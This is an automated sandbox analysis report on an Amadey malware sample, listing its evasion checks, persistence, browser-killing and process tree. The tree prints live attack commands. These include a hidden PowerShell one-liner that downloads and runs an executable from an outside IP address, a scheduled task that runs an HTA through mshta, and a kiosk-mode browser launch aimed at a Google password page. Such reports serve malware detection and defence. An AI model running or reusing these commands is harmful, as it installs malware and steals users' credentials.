amadey | 6f44899daeacc80a062cbd251ca23ec1261672bdd6a060d9f80654db2352370e

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	6f44899daeacc80a062cbd251ca23ec1261672bdd6a060d9f80654db2352370e.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	5f67879656.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	dd57305fdb.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	TempJ1UG3HXFK114WTN5VDF0RYLUVYISIFR3.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe

Blocklisted process makes network request 1 IoCs

flow	pid	Process
119	2940	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2940	powershell.exe

Downloads MZ/PE file 4 IoCs

flow	pid	Process
18	4724	skotes.exe
18	4724	skotes.exe
18	4724	skotes.exe
119	2940	powershell.exe

Checks BIOS information in registry 2 TTPs 16 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	6f44899daeacc80a062cbd251ca23ec1261672bdd6a060d9f80654db2352370e.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	6f44899daeacc80a062cbd251ca23ec1261672bdd6a060d9f80654db2352370e.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	dd57305fdb.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	TempJ1UG3HXFK114WTN5VDF0RYLUVYISIFR3.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	5f67879656.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	5f67879656.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	dd57305fdb.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	TempJ1UG3HXFK114WTN5VDF0RYLUVYISIFR3.EXE

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3181990009-820930284-137514597-1000\Control Panel\International\Geo\Nation	6f44899daeacc80a062cbd251ca23ec1261672bdd6a060d9f80654db2352370e.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3181990009-820930284-137514597-1000\Control Panel\International\Geo\Nation	skotes.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3181990009-820930284-137514597-1000\Control Panel\International\Geo\Nation	mshta.exe

Executes dropped EXE 9 IoCs

pid	Process
4724	skotes.exe
2664	5f67879656.exe
4864	dd57305fdb.exe
1704	skotes.exe
4296	c439be9a28.exe
4732	f5cfb617ee.exe
5124	TempJ1UG3HXFK114WTN5VDF0RYLUVYISIFR3.EXE
5280	skotes.exe
4828	skotes.exe

Identifies Wine through registry keys 2 TTPs 8 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

defense_evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3181990009-820930284-137514597-1000\Software\Wine	skotes.exe
Key opened	\REGISTRY\USER\S-1-5-21-3181990009-820930284-137514597-1000\Software\Wine	5f67879656.exe
Key opened	\REGISTRY\USER\S-1-5-21-3181990009-820930284-137514597-1000\Software\Wine	dd57305fdb.exe
Key opened	\REGISTRY\USER\S-1-5-21-3181990009-820930284-137514597-1000\Software\Wine	skotes.exe
Key opened	\REGISTRY\USER\S-1-5-21-3181990009-820930284-137514597-1000\Software\Wine	TempJ1UG3HXFK114WTN5VDF0RYLUVYISIFR3.EXE
Key opened	\REGISTRY\USER\S-1-5-21-3181990009-820930284-137514597-1000\Software\Wine	skotes.exe
Key opened	\REGISTRY\USER\S-1-5-21-3181990009-820930284-137514597-1000\Software\Wine	skotes.exe
Key opened	\REGISTRY\USER\S-1-5-21-3181990009-820930284-137514597-1000\Software\Wine	6f44899daeacc80a062cbd251ca23ec1261672bdd6a060d9f80654db2352370e.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3181990009-820930284-137514597-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\5f67879656.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1091068001\\5f67879656.exe"	skotes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3181990009-820930284-137514597-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\dd57305fdb.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1091069001\\dd57305fdb.exe"	skotes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3181990009-820930284-137514597-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\c439be9a28.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1091070001\\c439be9a28.exe"	skotes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3181990009-820930284-137514597-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\f5cfb617ee.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1091071001\\f5cfb617ee.exe"	skotes.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

AutoIT Executable 2 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral2/files/0x000c000000023bb7-70.dat	autoit_exe
behavioral2/files/0x000b000000023bc4-89.dat	autoit_exe

Suspicious use of NtSetInformationThreadHideFromDebugger 8 IoCs

pid	Process
3120	6f44899daeacc80a062cbd251ca23ec1261672bdd6a060d9f80654db2352370e.exe
4724	skotes.exe
2664	5f67879656.exe
4864	dd57305fdb.exe
1704	skotes.exe
5124	TempJ1UG3HXFK114WTN5VDF0RYLUVYISIFR3.EXE
5280	skotes.exe
4828	skotes.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\skotes.job	6f44899daeacc80a062cbd251ca23ec1261672bdd6a060d9f80654db2352370e.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 18 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language	c439be9a28.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	f5cfb617ee.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	5f67879656.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dd57305fdb.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage	c439be9a28.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	TempJ1UG3HXFK114WTN5VDF0RYLUVYISIFR3.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	6f44899daeacc80a062cbd251ca23ec1261672bdd6a060d9f80654db2352370e.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	skotes.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	c439be9a28.exe

Checks processor information in registry 2 TTPs 8 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe

Kills process with taskkill 5 IoCs

defense_evasion

pid	Process
2308	taskkill.exe
4876	taskkill.exe
4856	taskkill.exe
3820	taskkill.exe
4672	taskkill.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3181990009-820930284-137514597-1000_Classes\Local Settings	firefox.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
4036	schtasks.exe

Suspicious behavior: EnumeratesProcesses 27 IoCs

pid	Process
3120	6f44899daeacc80a062cbd251ca23ec1261672bdd6a060d9f80654db2352370e.exe
3120	6f44899daeacc80a062cbd251ca23ec1261672bdd6a060d9f80654db2352370e.exe
4724	skotes.exe
4724	skotes.exe
2664	5f67879656.exe
2664	5f67879656.exe
2664	5f67879656.exe
2664	5f67879656.exe
2664	5f67879656.exe
2664	5f67879656.exe
4864	dd57305fdb.exe
4864	dd57305fdb.exe
1704	skotes.exe
1704	skotes.exe
4296	c439be9a28.exe
4296	c439be9a28.exe
2940	powershell.exe
2940	powershell.exe
2940	powershell.exe
4296	c439be9a28.exe
4296	c439be9a28.exe
5124	TempJ1UG3HXFK114WTN5VDF0RYLUVYISIFR3.EXE
5124	TempJ1UG3HXFK114WTN5VDF0RYLUVYISIFR3.EXE
5280	skotes.exe
5280	skotes.exe
4828	skotes.exe
4828	skotes.exe

Suspicious use of AdjustPrivilegeToken 11 IoCs

description	pid	Process
Token: SeDebugPrivilege	2308	taskkill.exe
Token: SeDebugPrivilege	4876	taskkill.exe
Token: SeDebugPrivilege	4856	taskkill.exe
Token: SeDebugPrivilege	3820	taskkill.exe
Token: SeDebugPrivilege	4672	taskkill.exe
Token: SeDebugPrivilege	2940	powershell.exe
Token: SeDebugPrivilege	2272	firefox.exe
Token: SeDebugPrivilege	2272	firefox.exe
Token: SeDebugPrivilege	2272	firefox.exe
Token: SeDebugPrivilege	2272	firefox.exe
Token: SeDebugPrivilege	2272	firefox.exe

Suspicious use of FindShellTrayWindow 37 IoCs

pid	Process
3120	6f44899daeacc80a062cbd251ca23ec1261672bdd6a060d9f80654db2352370e.exe
4296	c439be9a28.exe
4296	c439be9a28.exe
4296	c439be9a28.exe
4296	c439be9a28.exe
4296	c439be9a28.exe
4296	c439be9a28.exe
4296	c439be9a28.exe
4732	f5cfb617ee.exe
4732	f5cfb617ee.exe
4732	f5cfb617ee.exe
4296	c439be9a28.exe
2272	firefox.exe
2272	firefox.exe
2272	firefox.exe
2272	firefox.exe
2272	firefox.exe
2272	firefox.exe
2272	firefox.exe
2272	firefox.exe
2272	firefox.exe
2272	firefox.exe
2272	firefox.exe
2272	firefox.exe
2272	firefox.exe
2272	firefox.exe
2272	firefox.exe
2272	firefox.exe
2272	firefox.exe
2272	firefox.exe
2272	firefox.exe
2272	firefox.exe
2272	firefox.exe
4296	c439be9a28.exe
4296	c439be9a28.exe
4296	c439be9a28.exe
4296	c439be9a28.exe

Suspicious use of SendNotifyMessage 35 IoCs

pid	Process
4296	c439be9a28.exe
4296	c439be9a28.exe
4296	c439be9a28.exe
4296	c439be9a28.exe
4296	c439be9a28.exe
4296	c439be9a28.exe
4296	c439be9a28.exe
4732	f5cfb617ee.exe
4732	f5cfb617ee.exe
4732	f5cfb617ee.exe
4296	c439be9a28.exe
2272	firefox.exe
2272	firefox.exe
2272	firefox.exe
2272	firefox.exe
2272	firefox.exe
2272	firefox.exe
2272	firefox.exe
2272	firefox.exe
2272	firefox.exe
2272	firefox.exe
2272	firefox.exe
2272	firefox.exe
2272	firefox.exe
2272	firefox.exe
2272	firefox.exe
2272	firefox.exe
2272	firefox.exe
2272	firefox.exe
2272	firefox.exe
2272	firefox.exe
4296	c439be9a28.exe
4296	c439be9a28.exe
4296	c439be9a28.exe
4296	c439be9a28.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2272	firefox.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3120 wrote to memory of 4724	3120	6f44899daeacc80a062cbd251ca23ec1261672bdd6a060d9f80654db2352370e.exe	88
PID 3120 wrote to memory of 4724	3120	6f44899daeacc80a062cbd251ca23ec1261672bdd6a060d9f80654db2352370e.exe	88
PID 3120 wrote to memory of 4724	3120	6f44899daeacc80a062cbd251ca23ec1261672bdd6a060d9f80654db2352370e.exe	88
PID 4724 wrote to memory of 2664	4724	skotes.exe	90
PID 4724 wrote to memory of 2664	4724	skotes.exe	90
PID 4724 wrote to memory of 2664	4724	skotes.exe	90
PID 4724 wrote to memory of 4864	4724	skotes.exe	92
PID 4724 wrote to memory of 4864	4724	skotes.exe	92
PID 4724 wrote to memory of 4864	4724	skotes.exe	92
PID 4724 wrote to memory of 4296	4724	skotes.exe	94
PID 4724 wrote to memory of 4296	4724	skotes.exe	94
PID 4724 wrote to memory of 4296	4724	skotes.exe	94
PID 4296 wrote to memory of 2308	4296	c439be9a28.exe	95
PID 4296 wrote to memory of 2308	4296	c439be9a28.exe	95
PID 4296 wrote to memory of 2308	4296	c439be9a28.exe	95
PID 4296 wrote to memory of 4876	4296	c439be9a28.exe	97
PID 4296 wrote to memory of 4876	4296	c439be9a28.exe	97
PID 4296 wrote to memory of 4876	4296	c439be9a28.exe	97
PID 4296 wrote to memory of 4856	4296	c439be9a28.exe	99
PID 4296 wrote to memory of 4856	4296	c439be9a28.exe	99
PID 4296 wrote to memory of 4856	4296	c439be9a28.exe	99
PID 4296 wrote to memory of 3820	4296	c439be9a28.exe	101
PID 4296 wrote to memory of 3820	4296	c439be9a28.exe	101
PID 4296 wrote to memory of 3820	4296	c439be9a28.exe	101
PID 4296 wrote to memory of 4672	4296	c439be9a28.exe	103
PID 4296 wrote to memory of 4672	4296	c439be9a28.exe	103
PID 4296 wrote to memory of 4672	4296	c439be9a28.exe	103
PID 4296 wrote to memory of 116	4296	c439be9a28.exe	105
PID 4296 wrote to memory of 116	4296	c439be9a28.exe	105
PID 116 wrote to memory of 2272	116	firefox.exe	107
PID 116 wrote to memory of 2272	116	firefox.exe	107
PID 116 wrote to memory of 2272	116	firefox.exe	107
PID 116 wrote to memory of 2272	116	firefox.exe	107
PID 116 wrote to memory of 2272	116	firefox.exe	107
PID 116 wrote to memory of 2272	116	firefox.exe	107
PID 116 wrote to memory of 2272	116	firefox.exe	107
PID 116 wrote to memory of 2272	116	firefox.exe	107
PID 116 wrote to memory of 2272	116	firefox.exe	107
PID 116 wrote to memory of 2272	116	firefox.exe	107
PID 116 wrote to memory of 2272	116	firefox.exe	107
PID 4724 wrote to memory of 4732	4724	skotes.exe	106
PID 4724 wrote to memory of 4732	4724	skotes.exe	106
PID 4724 wrote to memory of 4732	4724	skotes.exe	106
PID 4732 wrote to memory of 5088	4732	f5cfb617ee.exe	108
PID 4732 wrote to memory of 5088	4732	f5cfb617ee.exe	108
PID 4732 wrote to memory of 5088	4732	f5cfb617ee.exe	108
PID 4732 wrote to memory of 4180	4732	f5cfb617ee.exe	109
PID 4732 wrote to memory of 4180	4732	f5cfb617ee.exe	109
PID 4732 wrote to memory of 4180	4732	f5cfb617ee.exe	109
PID 2272 wrote to memory of 744	2272	firefox.exe	111
PID 2272 wrote to memory of 744	2272	firefox.exe	111
PID 2272 wrote to memory of 744	2272	firefox.exe	111
PID 2272 wrote to memory of 744	2272	firefox.exe	111
PID 2272 wrote to memory of 744	2272	firefox.exe	111
PID 2272 wrote to memory of 744	2272	firefox.exe	111
PID 2272 wrote to memory of 744	2272	firefox.exe	111
PID 2272 wrote to memory of 744	2272	firefox.exe	111
PID 2272 wrote to memory of 744	2272	firefox.exe	111
PID 2272 wrote to memory of 744	2272	firefox.exe	111
PID 2272 wrote to memory of 744	2272	firefox.exe	111
PID 2272 wrote to memory of 744	2272	firefox.exe	111
PID 2272 wrote to memory of 744	2272	firefox.exe	111
PID 2272 wrote to memory of 744	2272	firefox.exe	111
PID 2272 wrote to memory of 744	2272	firefox.exe	111

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\6f44899daeacc80a062cbd251ca23ec1261672bdd6a060d9f80654db2352370e.exe
"C:\Users\Admin\AppData\Local\Temp\6f44899daeacc80a062cbd251ca23ec1261672bdd6a060d9f80654db2352370e.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:3120
- C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
  "C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Downloads MZ/PE file
  - Checks BIOS information in registry
  - Checks computer location settings
  - Executes dropped EXE
  - Identifies Wine through registry keys
  - Adds Run key to start application
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4724
- - C:\Users\Admin\AppData\Local\Temp\1091068001\5f67879656.exe
    "C:\Users\Admin\AppData\Local\Temp\1091068001\5f67879656.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:2664
- - C:\Users\Admin\AppData\Local\Temp\1091069001\dd57305fdb.exe
    "C:\Users\Admin\AppData\Local\Temp\1091069001\dd57305fdb.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:4864
- - C:\Users\Admin\AppData\Local\Temp\1091070001\c439be9a28.exe
    "C:\Users\Admin\AppData\Local\Temp\1091070001\c439be9a28.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    - Suspicious use of WriteProcessMemory
    PID:4296
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM firefox.exe /T
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2308
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM chrome.exe /T
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4876
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM msedge.exe /T
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4856
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM opera.exe /T
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3820
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM brave.exe /T
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4672
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
      4⤵
      Suspicious use of WriteProcessMemory
      PID:116
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
        5⤵
        Checks processor information in registry
        Modifies registry class
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:2272
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1964 -parentBuildID 20240401114208 -prefsHandle 1880 -prefMapHandle 1876 -prefsLen 27434 -prefMapSize 244658 -appDir "C:\Program Files\Mozilla Firefox\browser" - {eec4270c-9bf4-4fbd-a9f2-dce461a5b8b3} 2272 "\\.\pipe\gecko-crash-server-pipe.2272" gpu
        6⤵
        
        PID:744
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2404 -parentBuildID 20240401114208 -prefsHandle 2396 -prefMapHandle 2384 -prefsLen 28354 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d18db93d-63a9-46d5-af65-e26612ad17ad} 2272 "\\.\pipe\gecko-crash-server-pipe.2272" socket
        6⤵
        
        PID:2584
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3000 -childID 1 -isForBrowser -prefsHandle 3052 -prefMapHandle 2760 -prefsLen 22746 -prefMapSize 244658 -jsInitHandle 952 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {f9ce8b6c-dfa0-46ad-8240-2957ecdb434f} 2272 "\\.\pipe\gecko-crash-server-pipe.2272" tab
        6⤵
        
        PID:2384
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3984 -childID 2 -isForBrowser -prefsHandle 3976 -prefMapHandle 3968 -prefsLen 32844 -prefMapSize 244658 -jsInitHandle 952 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {146e2312-d117-4645-b4df-c7bdf6442a2e} 2272 "\\.\pipe\gecko-crash-server-pipe.2272" tab
        6⤵
        
        PID:4908
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4632 -parentBuildID 20240401114208 -sandboxingKind 0 -prefsHandle 4628 -prefMapHandle 4560 -prefsLen 32844 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {4140c61e-f439-463f-abea-a0ede4de6ed5} 2272 "\\.\pipe\gecko-crash-server-pipe.2272" utility
        6⤵
        Checks processor information in registry
        
        PID:4884
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5500 -childID 3 -isForBrowser -prefsHandle 5492 -prefMapHandle 5488 -prefsLen 27226 -prefMapSize 244658 -jsInitHandle 952 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a1a64837-b81d-47a9-8cfd-a1cb6e363f39} 2272 "\\.\pipe\gecko-crash-server-pipe.2272" tab
        6⤵
        
        PID:5944
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5644 -childID 4 -isForBrowser -prefsHandle 5720 -prefMapHandle 5716 -prefsLen 27226 -prefMapSize 244658 -jsInitHandle 952 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {71fa6f38-183e-49d4-baa7-caa82576529e} 2272 "\\.\pipe\gecko-crash-server-pipe.2272" tab
        6⤵
        
        PID:5956
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5900 -childID 5 -isForBrowser -prefsHandle 5820 -prefMapHandle 5824 -prefsLen 27226 -prefMapSize 244658 -jsInitHandle 952 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {afc27da3-cc52-40ab-986a-8a7a6c32adf1} 2272 "\\.\pipe\gecko-crash-server-pipe.2272" tab
        6⤵
        
        PID:5968
- - C:\Users\Admin\AppData\Local\Temp\1091071001\f5cfb617ee.exe
    "C:\Users\Admin\AppData\Local\Temp\1091071001\f5cfb617ee.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    - Suspicious use of WriteProcessMemory
    PID:4732
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn sLOFHma7ZbE /tr "mshta C:\Users\Admin\AppData\Local\Temp\f1sa0cG0E.hta" /sc minute /mo 25 /ru "Admin" /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:5088
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn sLOFHma7ZbE /tr "mshta C:\Users\Admin\AppData\Local\Temp\f1sa0cG0E.hta" /sc minute /mo 25 /ru "Admin" /f
        5⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:4036
  - - C:\Windows\SysWOW64\mshta.exe
      mshta C:\Users\Admin\AppData\Local\Temp\f1sa0cG0E.hta
      4⤵
      Checks computer location settings
      System Location Discovery: System Language Discovery
      PID:4180
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'J1UG3HXFK114WTN5VDF0RYLUVYISIFR3.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/mine/random.exe',$d);Start-Process $d;
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Downloads MZ/PE file
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2940
